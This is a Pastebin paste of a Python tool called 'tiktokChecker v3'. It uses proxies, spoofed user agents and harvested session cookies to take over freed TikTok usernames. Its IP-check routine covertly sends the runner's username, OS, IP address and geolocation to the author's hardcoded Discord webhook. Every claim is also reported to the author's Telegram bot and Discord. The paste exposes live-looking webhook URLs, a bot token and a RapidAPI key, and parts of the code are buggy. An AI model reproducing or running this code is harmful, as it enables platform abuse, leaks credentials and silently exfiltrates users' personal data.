PYTHON   3

v3

Guest on 20th April 2022 06:54:44 PM

  1. # ALM7TR tiktokChecker v3
  2. # To contact [IG:@utz0 | TELE:@ALM7TR]
  3. # Please if you crack this tool use it for your need, don't sell it or publish the source code this may be bad for me and my sup.
  4. class libraries:
  5.    
  6.     def importSystem(self):
  7.         try:
  8.             import ctypes, threading, os, socket, time, gc, pathlib
  9.         except Exception as error:
  10.             print(error)
  11.             input()
  12.             os._exit()
  13.         try:
  14.             import requests
  15.         except Exception as error:
  16.             os.system("pip install requests")
  17.             os.system("cls")
  18.         try:
  19.             import discord_webhook
  20.         except Exception as error:
  21.             os.system("pip install discord_webhook")
  22.             os.system("cls")
  23.         try:
  24.             import colorama
  25.             from colorama import Fore
  26.             colorama.init(autoreset=True)
  27.         except Exception as error:
  28.             os.system("pip install colorama")
  29.             colorama.init(autoreset=True)
  30.             os.system("cls")
  31.  
  32. class ip:
  33.  
  34.     def check(self):
  35.         if self.ip in requests.get("https://pastebin.com/raw/10jTWaHu").text:
  36.             print(f"[{self.green}Good luck{self.reset}] Your ip activated by @utz0")
  37.         else:
  38.             import getpass, platform
  39.             informtion = requests.get(f"http://ip-api.com/json/{self.ip}").json()
  40.             username = getpass.getuser()
  41.             systemType = platform.system()
  42.             webhook = DiscordWebhook(url="https://discord.com/api/webhooks/897915560392790066/wZlFeFQ3Tel7X-qoxl9FzgrhnUEwq7gp7IO41bFKw_ORat3u9jwZ92m9-XbPiaN06iPo", username="New scanner v3")
  43.             embed = DiscordEmbed(title=f"{username} :detective:",color=0x607d8b)
  44.             embed.set_footer(text=f"[+] System {systemType}\n[+] IP {self.ip}\n[+] CY : {informtion['country']}~{informtion['city']}\n[+] La/Lo : {informtion['lat']}~{informtion['lon']}\n@utz0 coder")
  45.             embed.set_timestamp()
  46.             webhook.add_embed(embed)
  47.             respone = webhook.execute()
  48.             print(f'[{self.red}!{self.reset}] Your ip {self.ip} DM @utz0 to activate')
  49.             input()
  50.             exit(0)
  51.    
  52.     def __init__(self):
  53.         self.red      = Fore.LIGHTRED_EX
  54.         self.reset    = Fore.RESET
  55.         self.green    = Fore.LIGHTGREEN_EX
  56.         self.ip       = requests.get("https://api.ipify.org/?format=text").text
  57.  
  58. class Main:
  59.    
  60.     def runTypeFunction(self):
  61.         print(f"[{self.blue}?{self.reset}] Target mode ({self.green}y{self.reset}/{self.red}n{self.reset}): ",end="")
  62.         runType = str(input())
  63.         if "y" in runType or "Y" in runType:
  64.             runTypePrint = f"{Fore.LIGHTGREEN_EX}Target"
  65.             loopPremission = "n"
  66.             loopPrint = f"{Fore.LIGHTGREEN_EX}True"
  67.             print(f"[{self.blue}?{self.reset}] Input target: ",end="")
  68.             target = str(input())
  69.             return runType,target,loopPremission,runTypePrint,loopPrint
  70.         elif "n" in runType or "N" in runType:
  71.             runTypePrint = f"{Fore.LIGHTGREEN_EX}List"
  72.             loopPremission,loopPrint = Main().loopPermissionFunction()
  73.             return runType,"dick",loopPremission,runTypePrint,loopPrint
  74.         else:
  75.             print(f"[{self.red}!{self.reset}] Undefinde string, press enter to close.")
  76.             input()
  77.             os._exit(0)
  78.    
  79.     def loopPermissionFunction(self):
  80.         print(f"[{self.blue}?{self.reset}] Want to use loop({self.green}y{self.reset}/{self.red}n{self.reset}): ",end="")
  81.         loopPremission = str(input())
  82.         if "y" in loopPremission or "Y" in loopPremission:return loopPremission,f"{Fore.LIGHTGREEN_EX}True"
  83.         elif "n" in loopPremission or "N" in loopPremission:return loopPremission,f"{Fore.LIGHTRED_EX}False"
  84.         else:
  85.             print(f"[{self.red}!{self.reset}] Undefinde string, press enter to close.")
  86.             input()
  87.             os._exit(0)
  88.    
  89.     def mainWindow(self, runTypePrint, loopPrint):
  90.         os.system("cls")
  91.         print(f"""{Fore.LIGHTCYAN_EX}    _   ____ ___
  92.   /_\ |__  | _ \\
  93.  / _ \{Fore.LIGHTRED_EX}@utz0{Fore.LIGHTCYAN_EX}|   /
  94. /_/ \_\/_/ |_|_\\TikTok..Checker
  95. \n{Fore.RESET}[{Fore.LIGHTGREEN_EX}+{Fore.RESET}] Coded by ALM7TR[IG:@utz0~TELE:@ALM7TR]""")
  96.         print(f"[{Fore.LIGHTGREEN_EX}+{Fore.RESET}] Users:{Fore.LIGHTGREEN_EX}{len(open('list.txt','r').read().splitlines())}{Fore.RESET}, Proxies:{Fore.LIGHTGREEN_EX}{len(open('proxy.txt','r').read().splitlines())}{Fore.RESET} ,Session's:{Fore.LIGHTGREEN_EX}{len(open('session.txt','r').read().splitlines())}{Fore.RESET}")
  97.         print(f"[{Fore.LIGHTGREEN_EX}+{Fore.RESET}] Loop:{loopPrint}{Fore.RESET}, Proxies:{Fore.LIGHTGREEN_EX}True{Fore.RESET} ,RunType:{runTypePrint}{Fore.RESET}")
  98.         if len(open('list.txt','r').read().splitlines()) ==0 or len(open('proxy.txt','r').read().splitlines()) ==0 or len(open('session.txt','r').read().splitlines()) ==0:
  99.             print(f"[{Fore.LIGHTRED_EX}!{Fore.RESET}] Please fill list,proxy,session then restart.")
  100.             input()
  101.             os._exit(0)
  102.         else:pass
  103.        
  104.     def __init__(self):
  105.         self.red      = Fore.LIGHTRED_EX
  106.         self.blue      = Fore.LIGHTBLUE_EX
  107.         self.reset    = Fore.RESET
  108.         self.green    = Fore.LIGHTGREEN_EX
  109.  
  110. class threadSystem:
  111.  
  112.     def thread(self, function):
  113.         threads = []
  114.         print(f"[{Fore.LIGHTBLUE_EX}?{Fore.RESET}] Threads: ", end="")
  115.         threadNum = int(input())
  116.         for _ in range(threadNum):
  117.             car = threading.Thread(target=function)
  118.             car.daemon = True
  119.             car.start()
  120.             threads.append(car)
  121.         for cars in threads:
  122.             cars.join()
  123.  
  124. class settings:
  125.  
  126.     def __init__(self):
  127.         try:
  128.             for SettingsFile in open('settings.txt').read().splitlines():
  129.                 if 'by' in SettingsFile:
  130.                     self.by = SettingsFile.split('[?] by : ')[1]
  131.                 elif 'webHook' in SettingsFile:
  132.                     self.webHook = SettingsFile.split('[?] webHook : ')[1]
  133.         except FileNotFoundError:
  134.             with open('settings.txt', 'a') as save_settings:
  135.                 save_settings.write(f'[?] by : \n[?] webHook : ')
  136.             os.system("cls")
  137.             print(f"[{Fore.LIGHTRED_EX}!{Fore.RESET}] Please fill \"settings.txt\"")
  138.             print(f"[{self.red}!{self.reset}] Press enter to close")
  139.             input()
  140.             os._exit(0)
  141.  
  142. class tiktokChecker:
  143.    
  144.     def console(self, user, sessionid):
  145.         self.claims += 1
  146.         print(f"[{self.cyan}{self.claims}{self.reset}] {self.green}@{user}{self.reset} has been claimed, after {self.green}{self.attempts}{self.reset} request")
  147.         with open(f"claims.txt","a") as file:
  148.             file.write(f"username: @{username}\nsessionid: {sessionid}\n\n")
  149.  
  150.     def sessions_counter(self):
  151.         try:
  152.             while self.keepGoingList:
  153.                 if len(self.sessionsList) ==0:
  154.                     self.lock.acquire()
  155.                     self.keepGoingList = False
  156.                     time.sleep(5)
  157.                     print(f"\n[{self.red}!{self.reset}] Tool has been stop, {self.red}Session's list finish{self.reset} your claims are #{self.claims}")
  158.                     print(f"[{self.green}+{self.reset}] Not found users: {self.good}")
  159.                     print(f"[{self.green}+{self.reset}] Exist users: {self.bad}")
  160.                     input()
  161.                     input()
  162.                     os._exit(0)
  163.                 else:pass
  164.         except Exception as error:pass
  165.  
  166.     def rs_counter(self):
  167.         try:
  168.             while self.keepGoingList:
  169.                 rsCount = self.attempts
  170.                 time.sleep(1)
  171.                 self.RS = self.attempts - rsCount
  172.                 gc.collect()
  173.         except Exception as error:pass
  174.  
  175.     def informtion_maker(self):
  176.         global loopPremission
  177.         while self.keepGoingList:
  178.             ctypes.windll.kernel32.SetConsoleTitleW(str(f"\r{self.by}  | Requests:{self.attempts}  Spam:{self.spam}  Errors:{self.errors}  R/s[{self.RS}]"))
  179.             try:
  180.                 self.userPostion    += 1
  181.                 if self.userPostion >= self.usersListLenght:
  182.                     if "n" in loopPremission or "N" in loopPremission:
  183.                         self.lock.acquire()
  184.                         self.keepGoingList = False
  185.                         time.sleep(3)
  186.                         print(f"\n[{self.red}!{self.reset}] Tool has been stop, {self.green}all users checked{self.reset} your claims are #{self.claims}")
  187.                         print(f"[{self.green}+{self.reset}] Not found users: {self.good}")
  188.                         print(f"[{self.green}+{self.reset}] Exist users: {self.bad}")
  189.                         input()
  190.                         os._exit(0)
  191.                     elif "y" in loopPremission or "Y" in loopPremission:
  192.                         self.userPostion = 0
  193.                 else:pass
  194.                 self.checker_machine_f1(self.usersList[self.userPostion])
  195.             except Exception as error:pass
  196.  
  197.     def checker_machine_f1(self, user):
  198.         try:
  199.             respone = requests.get(f"https://m.tiktok.com/node/share/user/@{user}/?count=50&id=1231230&type=5&secUid=&maxCursor=1&minCursor=0&sourceType=10&appid=1233",headers={"user-agent": random.choice(open("useragents.txt","r").read().splitlines())},proxies={"https":f'http://{random.choice(open("proxy.txt","r").read().splitlines())}'}).text
  200.             if "10202" in respone:
  201.                 self.good += 1
  202.                 self.attempts += 1
  203.                 self.checker_machine_f2(user)
  204.             else:
  205.                 self.bad += 1
  206.                 self.attempts += 1
  207.         except Exception as error:
  208.             self.errors += 1
  209.             self.checker_machine_f1(user)
  210.    
  211.     def checker_machine_f2(self, user):
  212.         try:
  213.             respone = requests.get("https://social-media-data-tt.p.rapidapi.com/live/user", headers={"x-rapidapi-host":"social-media-data-tt.p.rapidapi.com","x-rapidapi-key":"9c363ae588mshd71440a101292d4p1c4061jsn32d687f5b44f"}, params={"username":user,"fresh":"1"}).text
  214.             if "Please make sure that user exists and try again" in respone:
  215.                 self.good += 1
  216.                 self.attempts += 1
  217.                 self.set_username(user)
  218.             elif "limit" in respone:
  219.                 self.errors += 1
  220.             else:
  221.                 self.bad += 1
  222.                 self.attempts += 1
  223.         except Exception as error:
  224.             self.errors += 1
  225.             self.checker_machine_f2(user)
  226.    
  227.     def checker_machine_target(self):
  228.         global target
  229.         while self.keepGoingTarget:
  230.             ctypes.windll.kernel32.SetConsoleTitleW(str(f"\r{self.by}  | Requests:{self.attempts}  Spam:{self.spam}  Errors:{self.errors}  R/s[{self.RS}]"))
  231.             try:
  232.                 respone = requests.get(f"https://m.tiktok.com/node/share/user/@{target}/?count=50&id=1231230&type=5&secUid=&maxCursor=1&minCursor=0&sourceType=10&appid=1233",headers={"user-agent": random.choice(open("useragents.txt","r").read().splitlines())},proxies={"https":f'http://{random.choice(open("proxy.txt","r").read().splitlines())}'}).text
  233.                 if "10202" in respone:
  234.                     self.good += 1
  235.                     self.attempts += 1
  236.                     self.set_username(target)
  237.                 else:
  238.                     self.bad += 1
  239.                     self.attempts += 1
  240.             except Exception as error:
  241.                 self.errors += 1
  242.  
  243.     def set_username(self, user):
  244.         sessionid = random.choice(self.sessionsList)
  245.         userAgent = random.choice(self.userAgents)
  246.         deviceType = userAgent.split("com.zhiliaoapp.musically/2018073102 (Linux; U; Android 7.1.2; en; ")[1].strip("; Build/PPR1.180610.011; tt-ok/3.10.0.2)")
  247.         headers = {
  248.             'connection': 'Keep-Alive',
  249.             'content-length': '61',
  250.             'content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
  251.             'cookie': f'store-idc=alisg; store-country-code=jo; passport_csrf_token=4f090f6c688d34439023d87c94284d56; passport_csrf_token_default=4f090f6c688d34439023d87c94284d56; d_ticket=1a360b478360784d60e9c19bab2975d299648; multi_sids=7053658438690620417%3A{sessionid}; cmpl_token=AgQQAPOlF-RPsLHdTl3tJZ04-3Ma2-5Pf4QuYMIzrw; odin_tt=d62f0efc196a8d93560631a047a87752c12f5ddfe33609a464231b966571be6fb2ff3fe1ba12167eceb59eb2dd3132d2bfec5cbae962019f47d62fa73b1768bed92d4c701d38b567cbf2bb9573a96c20; sid_guard={sessionid}%7C1642342749%7C5183999%7CThu%2C+17-Mar-2022+14%3A19%3A08+GMT; uid_tt=ce5c1917610acacc9ac99631c4e012316730e233d63a978a93413f7a09985b49; uid_tt_ss=ce5c1917610acacc9ac99631c4e012316730e233d63a978a93413f7a09985b49; sid_tt={sessionid}; ; sessionid_ss={sessionid}',
  252.             'passport-sdk-version': '19',
  253.             'x-gorgon': '040400d140002934b0b8bc7150ef56d1363224801d3c99ce90c3',
  254.             'user-agent': userAgent
  255.         }
  256.         try:
  257.             respone = requests.post(f'https://api16-normal-c-alisg.tiktokv.com/passport/login_name/update/?iid=7060509952591595266&device_id=7054537563859764742&ac=wifi&channel=googleplay&aid=1233&app_name=musical_ly&version_code=230005&version_name=23.0.5&device_platform=android&ab_version=23.0.5&ssmix=a&device_type={deviceType}&device_brand=samsung&language=en&os_api=25&os_version=7.1.2&openudid=a0fa5ae7590c6576&manifest_version_code=2022300050&resolution=1600*900&dpi=300&update_version_code=2022300050&_rticket=1644335649391&current_region=JO&app_type=normal&sys_region=US&mcc_mnc=41601&timezone_name=America%2FChicago&residence=JO&ts=1644335648&timezone_offset=-21600&build_number=23.0.5&region=US&uoo=0&app_language=en&carrier_region=JO&locale=en&op_region=JO&ac2=wifi&host_abi=x86&cdid=63d7e01e-5508-4742-ad36-df84088dcef8&support_webview=1&okhttp_version=4.1.73.9-tiktok',headers=headers,data=f"login_name={user}&page_from=0",timeout=5000)
  258.             if 'success' in respone.text:
  259.                 try:
  260.                     telemsg = "https://api.telegram.org/bot5272297821:AAGZmHsKBa1o_J1g5qBdu3x563dzb_2TBdk/sendMessage" + "?chat_id=1174741535&text=" + f"{self.by} smashed @{user} on TikTok!\n-checker v3-"
  261.                     telesend = requests.get(telemsg)
  262.                 except:pass
  263.                 try:
  264.                     webhook = DiscordWebhook(url="https://discord.com/api/webhooks/844267067024736275/97oE90TRYXErD6jB2mU9SuhzEpt2HVteVkFMLQoZMQnF1PG1yy_juyixGsAupvmX78NI", username="TikTok v3")
  265.                     embed = DiscordEmbed(title=f"{self.by} :thunder_cloud_rain:",color=242424)
  266.                     embed.set_footer(text=f"[+] Claimed @{user}\n[+] Req {self.attempts}\n[+] R/s {self.RS}\n@utz0 coder")
  267.                     embed.set_timestamp()
  268.                     webhook.add_embed(embed)
  269.                     respone = webhook.execute()
  270.                     return self.discord(user)
  271.                 except:pass
  272.                 try:
  273.                     webhook = DiscordWebhook(url=self.webHook, username="TikTok v3")
  274.                     embed = DiscordEmbed(title=f"{self.by} :thunder_cloud_rain:",color=242424)
  275.                     embed.set_footer(text=f"[+] Claimed @{user}\n[+] Req {self.attempts}\n[+] R/s {self.RS}\n@utz0 coder")
  276.                     embed.set_timestamp()
  277.                     webhook.add_embed(embed)
  278.                     respone = webhook.execute()
  279.                     return respone.status_code
  280.                 except:pass
  281.                 self.console(user, sessionid)
  282.                 self.sessionsList.remove(sessionid)
  283.                 ctypes.windll.user32.MessageBoxW(0, f"Claimed @{user}\nRequests {self.attempts}\nR/s:{self.RS}", self.by, 0x1000)
  284.             elif '"description":"login name can only be updated once within one month."' in respone.text:
  285.                 time.sleep(2)
  286.                 print(f"[{self.red}!{self.reset}] Bad SSiD:{sessionid}")
  287.                 self.sessionsList.remove(sessionid)
  288.             elif "The conversation has expired," in respone.text:
  289.                 time.sleep(2)
  290.                 print(f"[{self.red}!{self.reset}] Bad SSiD:{sessionid}")
  291.                 self.sessionsList.remove(sessionid)
  292.             elif "Only letters, numbers, underscores, or periods are allowed" in respone.text:
  293.                 self.attempts += 1
  294.             elif "Too many attempts" in respone.text:
  295.                 self.spam += 1
  296.             else:
  297.                 self.attempts += 1
  298.         except Exception as error:
  299.             self.errors += 1
  300.  
  301.     def __init__(self):
  302.         self.lock     = threading.Lock()
  303.         self.keepGoingList= True
  304.         self.keepGoingTarget= True
  305.        
  306.         # Colors
  307.         self.green    = Fore.LIGHTGREEN_EX
  308.         self.blue     = Fore.LIGHTBLUE_EX
  309.         self.red      = Fore.LIGHTRED_EX
  310.         self.cyan     = Fore.LIGHTCYAN_EX
  311.         self.yellow   = Fore.LIGHTYELLOW_EX
  312.         self.magenta  = Fore.LIGHTMAGENTA_EX
  313.         self.reset    = Fore.RESET
  314.        
  315.         # Counters
  316.         self.attempts = 0
  317.         self.errors   = 0
  318.         self.spam     = 0
  319.         self.good     = 0
  320.         self.bad      = 0
  321.         self.claims   = 0
  322.         self.RS       = 0
  323.        
  324.         # List's informtion
  325.         try:
  326.             # Users:
  327.             self.usersList        = open("list.txt","r").read().splitlines()
  328.             self.usersListLenght  = len(self.usersList)
  329.             self.userPostion      = 0
  330.             # Proxies:
  331.             self.proxiesListLenght  = len(open("proxy.txt","r").read().splitlines())
  332.             # Session's:
  333.             self.sessionsText     = open("session.txt","r").read().splitlines()
  334.             self.sessionsList     = []
  335.             for session in self.sessionsText:
  336.                 self.sessionsList.append(session)
  337.             self.sessionsListLenght = len(self.sessionsList)
  338.             # UserAgents:
  339.             self.userAgents = ["com.zhiliaoapp.musically/2018073102 (Linux; U; Android 7.1.2; en; SM-N975F; Build/PPR1.180610.011; tt-ok/3.10.0.2)","com.zhiliaoapp.musically/2018073102 (Linux; U; Android 7.1.2; en; SM-G955F; Build/PPR1.180610.011; tt-ok/3.10.0.2)","com.zhiliaoapp.musically/2018073102 (Linux; U; Android 7.1.2; en; Samsung Galaxy S8; Build/PPR1.180610.011; tt-ok/3.10.0.2)","com.zhiliaoapp.musically/2018073102 (Linux; U; Android 7.1.2; en; SM-F916B; Build/PPR1.180610.011; tt-ok/3.10.0.2)"]
  340.            
  341.         except FileNotFoundError:
  342.                 print(f"[{self.red}!{self.reset}] Please create or fill the users,sessions,proxies list..")
  343.                 input()
  344.                 os._exit(0)
  345.        
  346.         # Signature
  347.         self.by       = settings().by
  348.         self.webHook  = settings().webHook
  349.        
  350.         # Background shit
  351.         threading.Thread(target=self.sessions_counter).start()
  352.         threading.Thread(target=self.rs_counter).start()
  353.  
  354. if __name__ == '__main__':
  355.     import os
  356.     os.system("mode 80,15")
  357.     libraries().importSystem()
  358.     import ctypes, threading, socket, time, gc, colorama, requests, pathlib, random
  359.     from discord_webhook import DiscordWebhook, DiscordEmbed
  360.     from colorama import Fore
  361.     colorama.init(autoreset=True)
  362.     os.system("cls")
  363.     ip().check()
  364.     runType,target,loopPremission,runTypePrint,loopPrint = Main().runTypeFunction()
  365.     Main().mainWindow(runTypePrint, loopPrint)
  366.     if "n" in runType or "N" in runType:threadSystem().thread(tiktokChecker().informtion_maker)
  367.     elif "y" in runType or "Y" in runType:threadSystem().thread(tiktokChecker().checker_machine_target)
  368.     else:pass

Raw Paste


Login or Register to edit or fork this paste. It's free.